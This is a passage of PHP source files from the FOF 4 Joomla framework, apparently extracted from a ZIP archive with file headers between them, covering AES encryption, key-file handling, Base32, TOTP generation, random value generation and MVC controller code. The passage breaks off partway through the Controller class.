GNU General Public License version 3, or later */ namespace FOF40\Encrypt; defined('_JEXEC') || die; use FOF40\Encrypt\AesAdapter\AdapterInterface; use FOF40\Encrypt\AesAdapter\OpenSSL; /** * A simple abstraction to AES encryption * * Usage: * * // Create a new instance. * $aes = new Aes(); * // Set the encryption password. It's expanded to a key automatically. * $aes->setPassword('yourPassword'); * // Encrypt something. * $cipherText = $aes->encryptString($sourcePlainText); * // Decrypt something * $plainText = $aes->decryptString($sourceCipherText); */ class Aes { /** * The cipher key. * * @var string */ private $key = ''; /** * The AES encryption adapter in use. * * @var AdapterInterface */ private $adapter; /** * Initialise the AES encryption object. * * @param string $mode Encryption mode. Can be ebc or cbc. We recommend using cbc. */ public function __construct(string $mode = 'cbc') { $this->adapter = new OpenSSL(); $this->adapter->setEncryptionMode($mode); } /** * Is AES encryption supported by this PHP installation? * * @return boolean */ public static function isSupported(): bool { $adapter = new OpenSSL(); if (!$adapter->isSupported()) { return false; } if (!\function_exists('base64_encode')) { return false; } if (!\function_exists('base64_decode')) { return false; } if (!\function_exists('hash_algos')) { return false; } $algorithms = \hash_algos(); return in_array('sha256', $algorithms); } /** * Sets the password for this instance. * * @param string $password The password (either user-provided password or binary encryption key) to use */ public function setPassword(string $password) { $this->key = $password; } /** * Encrypts a string using AES * * @param string $stringToEncrypt The plaintext to encrypt * @param bool $base64encoded Should I Base64-encode the result? * * @return string The cryptotext. Please note that the first 16 bytes of * the raw string is the IV (initialisation vector) which * is necessary for decoding the string. */ public function encryptString(string $stringToEncrypt, bool $base64encoded = true): string { $blockSize = $this->adapter->getBlockSize(); $randVal = new Randval(); $iv = $randVal->generate($blockSize); $key = $this->getExpandedKey($blockSize, $iv); $cipherText = $this->adapter->encrypt($stringToEncrypt, $key, $iv); // Optionally pass the result through Base64 encoding if ($base64encoded) { $cipherText = base64_encode($cipherText); } // Return the result return $cipherText; } /** * Decrypts a ciphertext into a plaintext string using AES * * @param string $stringToDecrypt The ciphertext to decrypt. The first 16 bytes of the raw string must contain * the IV (initialisation vector). * @param bool $base64encoded Should I Base64-decode the data before decryption? * @param bool $legacy Use legacy key expansion? Use it to decrypt date encrypted with FOF 3. * * @return string The plain text string */ public function decryptString(string $stringToDecrypt, bool $base64encoded = true, bool $legacy = false): string { if ($base64encoded) { $stringToDecrypt = base64_decode($stringToDecrypt); } // Extract IV $iv_size = $this->adapter->getBlockSize(); $strLen = function_exists('mb_strlen') ? mb_strlen($stringToDecrypt, 'ASCII') : strlen($stringToDecrypt); // If the string is not big enough to have an Initialization Vector in front then, clearly, it is not encrypted. if ($strLen < $iv_size) { return ''; } // Get the IV, the key and decrypt the string $iv = substr($stringToDecrypt, 0, $iv_size); $key = $this->getExpandedKey($iv_size, $iv, $legacy); return $this->adapter->decrypt($stringToDecrypt, $key); } /** * Performs key expansion using PBKDF2 * * CAVEAT: If your password ($this->key) is the same size as $blockSize you don't get key expansion. Practically, * it means that you should avoid using 16 byte passwords. * * @param int $blockSize Block size in bytes. This should always be 16 since we only deal with 128-bit AES * here. * @param string $iv The initial vector. Use Randval::generate($blockSize) * @param bool $legacy Use legacy key expansion? Only ever use to decrypt data encrypted with FOF 3. * * @return string */ public function getExpandedKey(int $blockSize, string $iv, bool $legacy = false): string { $key = $legacy ? $this->legacyKey($this->key) : $this->key; $passLength = strlen($key); if (function_exists('mb_strlen')) { $passLength = mb_strlen($key, 'ASCII'); } if ($passLength !== $blockSize) { $iterations = 1000; $salt = $this->adapter->resizeKey($iv, 16); $key = hash_pbkdf2('sha256', $this->key, $salt, $iterations, $blockSize, true); } return $key; } /** * Process the password the same way FOF 3 did. * * This is a very bad idea. It would get a password, calculate its SHA-256 and throw half of it away. The rest was * used as the encryption key. In FOF 4 we use a far more sane key expansion using PKKDF2 with SHA-256 and 1000 * rounds. * * @param $password * * @return string * @since 4.0.0 */ private function legacyKey($password): string { $passLength = strlen($password); if (function_exists('mb_strlen')) { $passLength = mb_strlen($password, 'ASCII'); } if ($passLength === 32) { return $password; } // Legacy mode was doing something stupid, requiring a key of 32 bytes. DO NOT USE LEGACY MODE! // Legacy mode: use the sha256 of the password $key = hash('sha256', $password, true); // We have to trim or zero pad the password (we end up throwing half of it away in Rijndael-128 / AES...) $key = $this->adapter->resizeKey($key, $this->adapter->getBlockSize()); return $key; } } /** * Compatibility mode for servers lacking the hash_pbkdf2 PHP function (typically, the hash extension is installed but * PBKDF2 was not compiled into it). This is really slow but since it's used sparingly you shouldn't notice a * substantial performance degradation under most circumstances. */ if (!function_exists('hash_pbkdf2')) { function hash_pbkdf2($algo, $password, $salt, $count, $length = 0, $raw_output = false) { if (!in_array(strtolower($algo), hash_algos())) { trigger_error(__FUNCTION__ . '(): Unknown hashing algorithm: ' . $algo, E_USER_WARNING); } if (!is_numeric($count)) { trigger_error(__FUNCTION__ . '(): expects parameter 4 to be long, ' . gettype($count) . ' given', E_USER_WARNING); } if (!is_numeric($length)) { trigger_error(__FUNCTION__ . '(): expects parameter 5 to be long, ' . gettype($length) . ' given', E_USER_WARNING); } if ($count <= 0) { trigger_error(__FUNCTION__ . '(): Iterations must be a positive integer: ' . $count, E_USER_WARNING); } if ($length < 0) { trigger_error(__FUNCTION__ . '(): Length must be greater than or equal to 0: ' . $length, E_USER_WARNING); } $output = ''; $block_count = $length ? ceil($length / strlen(hash($algo, '', $raw_output))) : 1; for ($i = 1; $i <= $block_count; $i++) { $last = $xorsum = hash_hmac($algo, $salt . pack('N', $i), $password, true); for ($j = 1; $j < $count; $j++) { $xorsum ^= ($last = hash_hmac($algo, $last, $password, true)); } $output .= $xorsum; } if (!$raw_output) { $output = bin2hex($output); } return $length ? substr($output, 0, $length) : $output; } } PK���\o�oo fof40/Encrypt/EncryptService.phpnu&1i�<?php /** * @package FOF * @copyright Copyright (c)2010-2022 Nicholas K. Dionysopoulos / Akeeba Ltd * @license GNU General Public License version 3, or later */ namespace FOF40\Encrypt; defined('_JEXEC') || die; use FOF40\Container\Container; /** * Data encryption service for FOF-based components. * * This service allows you to transparently encrypt and decrypt *text* plaintext data. Use it to provide encryption for * sensitive or personal data stored in your database. Please remember: * * - The default behavior is to create a file with a random key on your component's root. If the file cannot be created * the encryption is turned off. * - The key file is only created when you access the service. If you never use this service nothing happens (for * backwards compatibility). * - You have to manually encrypt and decrypt data. It won't happen magically. * - Encrypted data cannot be searched unless you implement your own, slow, search algorithm. * - Data encryption is meant to be used on top of, not instead of, any other security measures for your site. * - Data encryption only protects against exploits targeting the database. If the attacker *also* gains read access to * your filesystem OR if the attacker gains read / write access to the filesystem the encryption won't protect you. * This is a full compromise of your site. At this point you're pwned and nothing can protect you. If you don't * understand this simple truth do NOT use encryption. * - This is meant as a simple and basic encryption layer. It has not been independently verified. Use at your own risk. * * This service has the following FOF application configuration parameters which can be declared under the "container" * key (e.g. the "name" attribute of the fof.xml elements under fof > common > container > option): * * - encrypt_key_file The path to the key file, relative to the component's backend root and WITHOUT the .php extension * - encrypt_key_const The constant for the key. By default it is COMPONENTNAME_FOF_ENCRYPT_SERVICE_SECRETKEY where * COMPONENTNAME corresponds to the uppercase com_componentname without the com_ prefix. * * @package FOF40\Encrypt * * @since 3.3.2 */ class EncryptService { /** * The component's container * * @var Container * @since 3.3.2 */ private $container; /** * The encryption engine used by this service * * @var Aes * @since 3.3.2 */ private $aes; /** * EncryptService constructor. * * @param Container $c The FOF component container * * @since 3.3.2 */ public function __construct(Container $c) { $this->container = $c; $this->initialize(); } /** * Encrypt the plaintext $data and return the ciphertext prefixed by ###AES128### * * @param string $data The plaintext data * * @return string The ciphertext, prefixed by ###AES128### * * @since 3.3.2 */ public function encrypt(string $data): string { if (!is_object($this->aes)) { return $data; } $encrypted = $this->aes->encryptString($data, true); return '###AES128###' . $encrypted; } /** * Decrypt the ciphertext, prefixed by ###AES128###, and return the plaintext. * * @param string $data The ciphertext, prefixed by ###AES128### * @param bool $legacy Use legacy key expansion? Use it to decrypt data encrypted with FOF 3. * * @return string The plaintext data * * @since 3.3.2 */ public function decrypt(string $data, bool $legacy = false): string { if (substr($data, 0, 12) != '###AES128###') { return $data; } $data = substr($data, 12); if (!is_object($this->aes)) { return $data; } $decrypted = $this->aes->decryptString($data, true, $legacy); // Decrypted data is null byte padded. We have to remove the padding before proceeding. return rtrim($decrypted, "\0"); } /** * Initialize the AES cryptography object * * @return void * @since 3.3.2 * */ private function initialize(): void { if (is_object($this->aes)) { return; } $password = $this->getPassword(); if (empty($password)) { return; } $this->aes = new Aes('cbc'); $this->aes->setPassword($password); } /** * Returns the path to the secret key file * * @return string * * @since 3.3.2 */ private function getPasswordFilePath(): string { $default = 'encrypt_service_key'; $baseName = $this->container->appConfig->get('container.encrypt_key_file', $default); $baseName = trim($baseName, '/\\'); return $this->container->backEndPath . '/' . $baseName . '.php'; } /** * Get the name of the constant where the secret key is stored. Remember that this is searched first, before a new * key file is created. You can define this constant anywhere in your code loaded before the encryption service is * first used to prevent a key file being created. * * @return string * * @since 3.3.2 */ private function getConstantName(): string { $default = strtoupper($this->container->bareComponentName) . '_FOF_ENCRYPT_SERVICE_SECRETKEY'; return $this->container->appConfig->get('container.encrypt_key_const', $default); } /** * Returns the password used to encrypt information in the component * * @return string * * @since 3.3.2 */ private function getPassword(): string { $constantName = $this->getConstantName(); // If we have already read the file just return the key if (defined($constantName)) { return constant($constantName); } // Do I have a secret key file? $filePath = $this->getPasswordFilePath(); // I can't get the path to the file. Cut our losses and assume we can get no key. if (empty($filePath)) { define($constantName, ''); return ''; } // If not, try to create one. if (!file_exists($filePath)) { $this->makePasswordFile(); } // We failed to create a new file? Cut our losses and assume we can get no key. if (!file_exists($filePath) || !is_readable($filePath)) { define($constantName, ''); return ''; } // Try to include the key file include_once $filePath; // The key file contains garbage. Treason! Cut our losses and assume we can get no key. if (!defined($constantName)) { define($constantName, ''); return ''; } // Finally, return the key which was defined in the file (happy path). return constant($constantName); } /** * Create a new secret key file using a long, randomly generated password. The password generator uses a crypto-safe * pseudorandom number generator (PRNG) to ensure suitability of the password for encrypting data at rest. * * @return void * * @since 3.3.2 */ private function makePasswordFile(): void { // Get the path to the new secret key file. $filePath = $this->getPasswordFilePath(); // I can't get the path to the file. Sorry. if (empty($filePath)) { return; } $randval = new Randval(); $secretKey = $randval->getRandomPassword(64); $constantName = $this->getConstantName(); $fileContent = "<?" . 'ph' . "p\n\n"; $fileContent .= <<< END defined('_JEXEC') or die; /** * This file is automatically generated. It contains a secret key used for encrypting data by the component. Please do * not remove, edit or manually replace this file. It will render your existing encrypted data unreadable forever. */ define('$constantName', '$secretKey'); END; $this->container->filesystem->fileWrite($filePath, $fileContent); } }PK���\ܐ���fof40/Encrypt/Base32.phpnu&1i�<?php /** * @package FOF * @copyright Copyright (c)2010-2022 Nicholas K. Dionysopoulos / Akeeba Ltd * @license GNU General Public License version 3, or later */ namespace FOF40\Encrypt; defined('_JEXEC') || die; use InvalidArgumentException; /** * Base32 encoding class, used by the TOTP */ class Base32 { /** * CSRFC3548 * * The character set as defined by RFC3548 * @link http://www.ietf.org/rfc/rfc3548.txt */ const CSRFC3548 = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ234567'; /** * Convert any string to a base32 string * This should be binary safe... * * @param string $str The string to convert * * @return string The converted base32 string */ public function encode(string $str): string { return $this->fromBin($this->str2bin($str)); } /** * Convert any base32 string to a normal sctring * This should be binary safe... * * @param string $str The base32 string to convert * * @return string The normal string */ public function decode(string $str): string { $str = strtoupper($str); return $this->bin2str($this->tobin($str)); } /** * Converts any ascii string to a binary string * * @param string $str The string you want to convert * * @return string String of 0's and 1's */ private function str2bin(string $str): string { $chrs = unpack('C*', $str); return vsprintf(str_repeat('%08b', is_array($chrs) || $chrs instanceof \Countable ? count($chrs) : 0), $chrs); } /** * Converts a binary string to an ascii string * * @param string $str The string of 0's and 1's you want to convert * * @return string The ascii output * * @throws InvalidArgumentException */ private function bin2str(string $str): string { if (strlen($str) % 8 > 0) { throw new InvalidArgumentException('Length must be divisible by 8'); } if (!preg_match('/^[01]+$/', $str)) { throw new InvalidArgumentException('Only 0\'s and 1\'s are permitted'); } preg_match_all('/.{8}/', $str, $chrs); $chrs = array_map('bindec', $chrs[0]); // I'm just being slack here array_unshift($chrs, 'C*'); return call_user_func_array('pack', $chrs); } /** * Converts a correct binary string to base32 * * @param string $str The string of 0's and 1's you want to convert * * @return string String encoded as base32 * * @throws InvalidArgumentException */ private function fromBin(string $str): string { if (strlen($str) % 8 > 0) { throw new InvalidArgumentException('Length must be divisible by 8'); } if (!preg_match('/^[01]+$/', $str)) { throw new InvalidArgumentException('Only 0\'s and 1\'s are permitted'); } // Base32 works on the first 5 bits of a byte, so we insert blanks to pad it out $str = preg_replace('/(.{5})/', '000$1', $str); // We need a string divisible by 5 $length = strlen($str); $rbits = $length & 7; if ($rbits > 0) { // Excessive bits need to be padded $ebits = substr($str, $length - $rbits); $str = substr($str, 0, $length - $rbits); $str .= "000$ebits" . str_repeat('0', 5 - strlen($ebits)); } preg_match_all('/.{8}/', $str, $chrs); $chrs = array_map([$this, 'mapCharset'], $chrs[0]); return implode('', $chrs); } /** * Accepts a base32 string and returns an ascii binary string * * @param string $str The base32 string to convert * * @return string Ascii binary string * * @throws InvalidArgumentException */ private function toBin(string $str): string { if (!preg_match('/^[' . self::CSRFC3548 . ']+$/', $str)) { throw new InvalidArgumentException('Base64 string must match character set'); } // Convert the base32 string back to a binary string $str = join('', array_map([$this, 'mapBin'], str_split($str))); // Remove the extra 0's we added $str = preg_replace('/000(.{5})/', '$1', $str); // Remove padding if necessary $length = strlen($str); $rbits = $length & 7; if ($rbits > 0) { $str = substr($str, 0, $length - $rbits); } return $str; } /** * Used with array_map to map the bits from a binary string * directly into a base32 character set * * @param string $str The string of 0's and 1's you want to convert * * @return string Resulting base32 character * * @access private */ private function mapCharset(string $str): string { // Huh! $x = self::CSRFC3548; return $x[bindec($str)]; } /** * Used with array_map to map the characters from a base32 * character set directly into a binary string * * @param string $chr The character to map * * @return string String of 0's and 1's * * @access private */ private function mapBin(string $chr): string { return sprintf('%08b', strpos(self::CSRFC3548, $chr)); } } PK���\�ycfof40/Encrypt/Totp.phpnu&1i�<?php /** * @package FOF * @copyright Copyright (c)2010-2022 Nicholas K. Dionysopoulos / Akeeba Ltd * @license GNU General Public License version 3, or later */ namespace FOF40\Encrypt; defined('_JEXEC') || die; class Totp { /** * @var int The length of the resulting passcode (default: 6 digits) */ private $passCodeLength = 6; /** * @var number The PIN modulo. It is set automatically to log10(passCodeLength) */ private $pinModulo; /** * The length of the secret key, in characters (default: 10) * * @var int */ private $secretLength = 10; /** * The time step between successive TOTPs in seconds (default: 30 seconds) * * @var int */ private $timeStep = 30; /** * The Base32 encoder class * * @var Base32|null */ private $base32; /** * Initialises an RFC6238-compatible TOTP generator. Please note that this * class does not implement the constraint in the last paragraph of §5.2 * of RFC6238. It's up to you to ensure that the same user/device does not * retry validation within the same Time Step. * * @param int $timeStep The Time Step (in seconds). Use 30 to be compatible with Google Authenticator. * @param int $passCodeLength The generated passcode length. Default: 6 digits. * @param int $secretLength The length of the secret key. Default: 10 bytes (80 bits). * @param Base32 $base32 The base32 en/decrypter */ public function __construct(int $timeStep = 30, int $passCodeLength = 6, int $secretLength = 10, Base32 $base32 = null) { $this->timeStep = $timeStep; $this->passCodeLength = $passCodeLength; $this->secretLength = $secretLength; $this->pinModulo = 10 ** $this->passCodeLength; $this->base32 = is_null($base32) ? new Base32() : $base32; } /** * Get the time period based on the $time timestamp and the Time Step * defined. If $time is skipped or set to null the current timestamp will * be used. * * @param int|null $time Timestamp * * @return int The time period since the UNIX Epoch */ public function getPeriod(?int $time = null): int { if (is_null($time)) { $time = time(); } return floor($time / $this->timeStep); } /** * Check is the given passcode $code is a valid TOTP generated using secret * key $secret * * @param string $secret The Base32-encoded secret key * @param string $code The passcode to check * @param int $time The time to check it against. Leave null to check for the current server time. * * @return boolean True if the code is valid */ public function checkCode(string $secret, string $code, int $time = null): bool { $time = $this->getPeriod($time); for ($i = -1; $i <= 1; $i++) { if ($this->getCode($secret, ($time + $i) * $this->timeStep) === $code) { return true; } } return false; } /** * Gets the TOTP passcode for a given secret key $secret and a given UNIX * timestamp $time * * @param string $secret The Base32-encoded secret key * @param int $time UNIX timestamp * * @return string */ public function getCode(string $secret, ?int $time = null): string { $period = $this->getPeriod($time); $secret = $this->base32->decode($secret); $time = pack("N", $period); $time = str_pad($time, 8, chr(0), STR_PAD_LEFT); $hash = hash_hmac('sha1', $time, $secret, true); $offset = ord(substr($hash, -1)); $offset &= 0xF; $truncatedHash = $this->hashToInt($hash, $offset) & 0x7FFFFFFF; return str_pad($truncatedHash % $this->pinModulo, $this->passCodeLength, "0", STR_PAD_LEFT); } /** * Returns a QR code URL for easy setup of TOTP apps like Google Authenticator * * @param string $user User * @param string $hostname Hostname * @param string $secret Secret string * * @return string */ public function getUrl(string $user, string $hostname, string $secret): string { $url = sprintf("otpauth://totp/%s@%s?secret=%s", $user, $hostname, $secret); $encoder = "https://chart.googleapis.com/chart?chs=200x200&chld=Q|2&cht=qr&chl="; return $encoder . urlencode($url); } /** * Generates a (semi-)random Secret Key for TOTP generation * * @return string */ public function generateSecret(): string { $secret = ""; for ($i = 1; $i <= $this->secretLength; $i++) { $c = random_int(0, 255); $secret .= pack("c", $c); } return $this->base32->encode($secret); } /** * Extracts a part of a hash as an integer * * @param string $bytes The hash * @param string $start The char to start from (0 = first char) * * @return string */ protected function hashToInt(string $bytes, string $start): string { $input = substr($bytes, $start, strlen($bytes) - $start); $val2 = unpack("N", substr($input, 0, 4)); return $val2[1]; } } PK���\Y(�uCC,fof40/Encrypt/AesAdapter/AbstractAdapter.phpnu&1i�<?php /** * @package FOF * @copyright Copyright (c)2010-2022 Nicholas K. Dionysopoulos / Akeeba Ltd * @license GNU General Public License version 3, or later */ namespace FOF40\Encrypt\AesAdapter; defined('_JEXEC') || die(); /** * Abstract AES encryption class */ abstract class AbstractAdapter { /** * Trims or zero-pads a key / IV * * @param string $key The key or IV to treat * @param int $size The block size of the currently used algorithm * * @return null|string Null if $key is null, treated string of $size byte length otherwise */ public function resizeKey(string $key, int $size): ?string { if (empty($key)) { return null; } $keyLength = strlen($key); if (function_exists('mb_strlen')) { $keyLength = mb_strlen($key, 'ASCII'); } if ($keyLength === $size) { return $key; } if ($keyLength > $size) { if (function_exists('mb_substr')) { return mb_substr($key, 0, $size, 'ASCII'); } return substr($key, 0, $size); } return $key . str_repeat("\0", ($size - $keyLength)); } /** * Returns null bytes to append to the string so that it's zero padded to the specified block size * * @param string $string The binary string which will be zero padded * @param int $blockSize The block size * * @return string The zero bytes to append to the string to zero pad it to $blockSize */ protected function getZeroPadding(string $string, int $blockSize): string { $stringSize = strlen($string); if (function_exists('mb_strlen')) { $stringSize = mb_strlen($string, 'ASCII'); } if ($stringSize === $blockSize) { return ''; } if ($stringSize < $blockSize) { return str_repeat("\0", $blockSize - $stringSize); } $paddingBytes = $stringSize % $blockSize; return str_repeat("\0", $blockSize - $paddingBytes); } } PK���\LHUFYY$fof40/Encrypt/AesAdapter/OpenSSL.phpnu&1i�<?php /** * @package FOF * @copyright Copyright (c)2010-2022 Nicholas K. Dionysopoulos / Akeeba Ltd * @license GNU General Public License version 3, or later */ namespace FOF40\Encrypt\AesAdapter; defined('_JEXEC') || die; use FOF40\Encrypt\Randval; class OpenSSL extends AbstractAdapter implements AdapterInterface { /** * The OpenSSL options for encryption / decryption * * PHP 5.3 does not have the constants OPENSSL_RAW_DATA and OPENSSL_ZERO_PADDING. In fact, the parameter * is called $raw_data and is a boolean. Since integer 1 is equivalent to boolean TRUE in PHP we can get * away with initializing this parameter with the integer 1. * * @var int */ protected $openSSLOptions = 1; /** * The encryption method to use * * @var string */ protected $method = 'aes-128-cbc'; public function __construct() { /** * PHP 5.4 and later replaced the $raw_data parameter with the $options parameter. Instead of a boolean we need * to pass some flags. * * See http://stackoverflow.com/questions/24707007/using-openssl-raw-data-param-in-openssl-decrypt-with-php-5-3#24707117 */ $this->openSSLOptions = OPENSSL_RAW_DATA | OPENSSL_ZERO_PADDING; } public function setEncryptionMode(string $mode = 'cbc'): void { static $availableAlgorithms = null; static $defaultAlgo = 'aes-128-cbc'; if (!is_array($availableAlgorithms)) { $availableAlgorithms = openssl_get_cipher_methods(); foreach ([ 'aes-256-cbc', 'aes-256-ecb', 'aes-192-cbc', 'aes-192-ecb', 'aes-128-cbc', 'aes-128-ecb', ] as $algo) { if (in_array($algo, $availableAlgorithms)) { $defaultAlgo = $algo; break; } } } $mode = strtolower($mode); if (!in_array($mode, ['cbc', 'ebc'])) { $mode = 'cbc'; } $algo = 'aes-128-' . $mode; if (!in_array($algo, $availableAlgorithms)) { $algo = $defaultAlgo; } $this->method = $algo; } public function encrypt(string $plainText, string $key, ?string $iv = null): string { $iv_size = $this->getBlockSize(); $key = $this->resizeKey($key, $iv_size); $iv = $this->resizeKey($iv, $iv_size); if (empty($iv)) { $randVal = new Randval(); $iv = $randVal->generate($iv_size); } $plainText .= $this->getZeroPadding($plainText, $iv_size); $cipherText = openssl_encrypt($plainText, $this->method, $key, $this->openSSLOptions, $iv); return $iv . $cipherText; } public function decrypt(string $cipherText, string $key): string { $iv_size = $this->getBlockSize(); $key = $this->resizeKey($key, $iv_size); $iv = substr($cipherText, 0, $iv_size); $cipherText = substr($cipherText, $iv_size); return openssl_decrypt($cipherText, $this->method, $key, $this->openSSLOptions, $iv); } public function isSupported(): bool { if (!\function_exists('openssl_get_cipher_methods')) { return false; } if (!\function_exists('openssl_random_pseudo_bytes')) { return false; } if (!\function_exists('openssl_cipher_iv_length')) { return false; } if (!\function_exists('openssl_encrypt')) { return false; } if (!\function_exists('openssl_decrypt')) { return false; } if (!\function_exists('hash')) { return false; } if (!\function_exists('hash_algos')) { return false; } $algorithms = \openssl_get_cipher_methods(); if (!in_array('aes-128-cbc', $algorithms)) { return false; } $algorithms = \hash_algos(); return in_array('sha256', $algorithms); } /** * @return int */ public function getBlockSize(): int { return openssl_cipher_iv_length($this->method); } } PK���\���Z$ $ -fof40/Encrypt/AesAdapter/AdapterInterface.phpnu&1i�<?php /** * @package FOF * @copyright Copyright (c)2010-2022 Nicholas K. Dionysopoulos / Akeeba Ltd * @license GNU General Public License version 3, or later */ namespace FOF40\Encrypt\AesAdapter; defined('_JEXEC') || die; /** * Interface for AES encryption adapters */ interface AdapterInterface { /** * Sets the AES encryption mode. * * @param string $mode Choose between CBC (recommended) or ECB * * @return void */ public function setEncryptionMode(string $mode = 'cbc'): void; /** * Encrypts a string. Returns the raw binary ciphertext. * * WARNING: The plaintext is zero-padded to the algorithm's block size. You are advised to store the size of the * plaintext and trim the string to that length upon decryption. * * @param string $plainText The plaintext to encrypt * @param string $key The raw binary key (will be zero-padded or chopped if its size is different than the block size) * @param null|string $iv The initialization vector (for CBC mode algorithms) * * @return string The raw encrypted binary string. */ public function encrypt(string $plainText, string $key, ?string $iv = null): string; /** * Decrypts a string. Returns the raw binary plaintext. * * $ciphertext MUST start with the IV followed by the ciphertext, even for EBC data (the first block of data is * dropped in EBC mode since there is no concept of IV in EBC). * * WARNING: The returned plaintext is zero-padded to the algorithm's block size during encryption. You are advised * to trim the string to the original plaintext's length upon decryption. While rtrim($decrypted, "\0") sounds * appealing it's NOT the correct approach for binary data (zero bytes may actually be part of your plaintext, not * just padding!). * * @param string $cipherText The ciphertext to encrypt * @param string $key The raw binary key (will be zero-padded or chopped if its size is different than the block size) * * @return string The raw unencrypted binary string. */ public function decrypt(string $cipherText, string $key): string; /** * Returns the encryption block size in bytes * * @return int */ public function getBlockSize(): int; /** * Is this adapter supported? * * @return bool */ public function isSupported(): bool; } PK���\��$V��fof40/Encrypt/Randval.phpnu&1i�<?php /** * @package FOF * @copyright Copyright (c)2010-2022 Nicholas K. Dionysopoulos / Akeeba Ltd * @license GNU General Public License version 3, or later */ namespace FOF40\Encrypt; defined('_JEXEC') || die(); /** * Generates cryptographically-secure random values. */ class Randval implements RandvalInterface { /** * Returns a cryptographically secure random value. * * Since we only run on PHP 7+ we can use random_bytes(), which internally uses a crypto safe PRNG. If the function * doesn't exist, Joomla already loads a secure polyfill. * * The reason this method exists is backwards compatibility with older versions of FOF. It also allows us to quickly * address any future issues if Joomla drops the polyfill or otherwise find problems with PHP's random_bytes() on * some weird host (you can't be too carefull when releasing mass-distributed software). * * @param integer $bytes How many bytes to return * * @return string */ public function generate(int $bytes = 32): string { return random_bytes($bytes); } /** * Return a randomly generated password using safe characters (a-z, A-Z, 0-9). * * @param int $length How many characters long should the password be. Default is 64. * * @return string * * @since 3.3.2 */ public function getRandomPassword($length = 64) { $salt = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789'; $base = strlen($salt); $makepass = ''; /* * Start with a cryptographic strength random string, then convert it to * a string with the numeric base of the salt. * Shift the base conversion on each character so the character * distribution is even, and randomize the start shift so it's not * predictable. */ $random = $this->generate($length + 1); $shift = ord($random[0]); for ($i = 1; $i <= $length; ++$i) { $makepass .= $salt[($shift + ord($random[$i])) % $base]; $shift += ord($random[$i]); } return $makepass; } } PK���\^L���-fof40/Controller/Mixin/PredefinedTaskList.phpnu&1i�<?php /** * @package FOF * @copyright Copyright (c)2010-2022 Nicholas K. Dionysopoulos / Akeeba Ltd * @license GNU General Public License version 3, or later */ namespace FOF40\Controller\Mixin; defined('_JEXEC') || die; use FOF40\Controller\Controller; /** * Force a Controller to allow access to specific tasks only, no matter which tasks are already defined in this * Controller. * * Include this Trait and then in your constructor do this: * $this->setPredefinedTaskList(['atask', 'anothertask', 'something']); * * WARNING: If you override execute() you will need to copy the logic from this trait's execute() method. */ trait PredefinedTaskList { /** * A list of predefined tasks. Trying to access any other task will result in the first task of this list being * executed instead. * * @var array */ protected $predefinedTaskList = []; /** * Overrides the execute method to implement the predefined task list feature * * @param string $task The task to execute * * @return mixed The controller task result */ public function execute(string $task) { if (!in_array($task, $this->predefinedTaskList)) { $task = reset($this->predefinedTaskList); } return parent::execute($task); } /** * Sets the predefined task list and registers the first task in the list as the Controller's default task * * @param array $taskList The task list to register * * @return void */ public function setPredefinedTaskList(array $taskList): void { /** @var Controller $this */ // First, unregister all known tasks which are not in the taskList $allTasks = $this->getTasks(); foreach ($allTasks as $task) { if (in_array($task, $taskList)) { continue; } $this->unregisterTask($task); } // Set the predefined task list $this->predefinedTaskList = $taskList; // Set the default task $this->registerDefaultTask(reset($this->predefinedTaskList)); } } PK���\n2/!z!zfof40/Controller/Controller.phpnu&1i�<?php /** * @package FOF * @copyright Copyright (c)2010-2022 Nicholas K. Dionysopoulos / Akeeba Ltd * @license GNU General Public License version 3, or later */ namespace FOF40\Controller; defined('_JEXEC') || die; use Exception; use FOF40\Container\Container; use FOF40\Controller\Exception\CannotGetName; use FOF40\Controller\Exception\TaskNotFound; use FOF40\Model\Model; use FOF40\View\Exception\AccessForbidden; use FOF40\View\View; use Joomla\CMS\Application\CMSApplication; use Joomla\CMS\Cache\Cache; use Joomla\CMS\Cache\Exception\CacheExceptionInterface; use Joomla\CMS\Document\Document; use Joomla\CMS\Factory as JoomlaFactory; use Joomla\CMS\Language\Text; use Joomla\CMS\Log\Log; use Joomla\CMS\Router\Route; use Joomla\CMS\Uri\Uri; use stdClass; /** * Class Controller * * A generic MVC controller implementation * * @property-read \FOF40\Input\Input $input The input object (magic __get returns the Input from the Container) */ class Controller { /** * Instance container. * * @var Controller */ protected static $instance; /** * The name of the controller * * @var array */ protected $name; /** * The mapped task that was performed. * * @var string */ protected $doTask; /** * Bit mask to enable routing through Route on redirects. The value can be: * * 0 = never * 1 = frontend only * 2 = backend only * 3 = always * * @var int */ protected $autoRouting = 0; /** * Should I protect against state bleedover? When this is enabled the default model's state hash will be * automatically set to include the controller name i.e. `com_example.controllerName.modelName.` instead of * `com_example.modelName.`. This will happen ONLY if the preventStateBleedover flag is set, the controller and * model names are different and the model doesn't set its own hash (or override getHash altogether). * * You should only need to enable this feature when you have multiple controllers using the _same_ Model as their * default. For example, if you have a blog component with Latest and Posts Controllers, both using the Posts Model * as their default Model the state variables set in the latest posts page would bleed over to the posts page. This * can include filtering and pagination preferences, resulting in a confusing experience for the user. * * Caveat: if you are using a different Controller class for singular / plural view names you will need to override * getModel() yourself. Otherwise the state of the singular view would be disjointed from the state of the * plural view (since the Controller names are different). That's the reason why this feature is turned off * by default. * * False = same behavior as FOF 3.0.0 to 3.1.1 inclusive. * * @var bool */ protected $preventStateBleedover = false; /** * Redirect message. * * @var string */ protected $message; /** * Redirect message type. * * @var string */ protected $messageType; /** * Array of class methods * * @var array */ protected $methods; /** * The set of search directories for resources (views). * * @var array */ protected $paths; /** * URL for redirection. * * @var string|null */ protected $redirect; /** * Current or most recently performed task. * * @var string */ protected $task; /** * Array of class methods to call for a given task. * * @var array */ protected $taskMap; /** * The current view name; you can override it in the configuration * * @var string */ protected $view = ''; /** * The current layout; you can override it in the configuration * * @var string */ protected $layout; /** * A cached copy of the class configuration parameter passed during initialisation * * @var array */ protected $config = []; /** * Overrides the name of the view's default model * * @var string */ protected $modelName; /** * Overrides the name of the view's default view * * @var string */ protected $viewName; /** * An array of Model instances known to this Controller * * @var array[Model] */ protected $modelInstances = []; /** * An array of View instances known to this Controller * * @var array[View] */ protected $viewInstances = []; /** * The container attached to this Controller * * @var Container */ protected $container; /** * The tasks for which caching should be enabled by default * * @var array */ protected $cacheableTasks = []; /** * How user group membership affects caching. The values are: * - 0 : Not taken into account, everyone sees the same page, always * - 1 : Only user groups are taken into account (default behaviour of FOF 3.0 to 3.4.2) * - 2 : The user ID itself is taken into account * * @var bool * @since 3.4.3 */ protected $userCaching = 1; /** * An associative array for 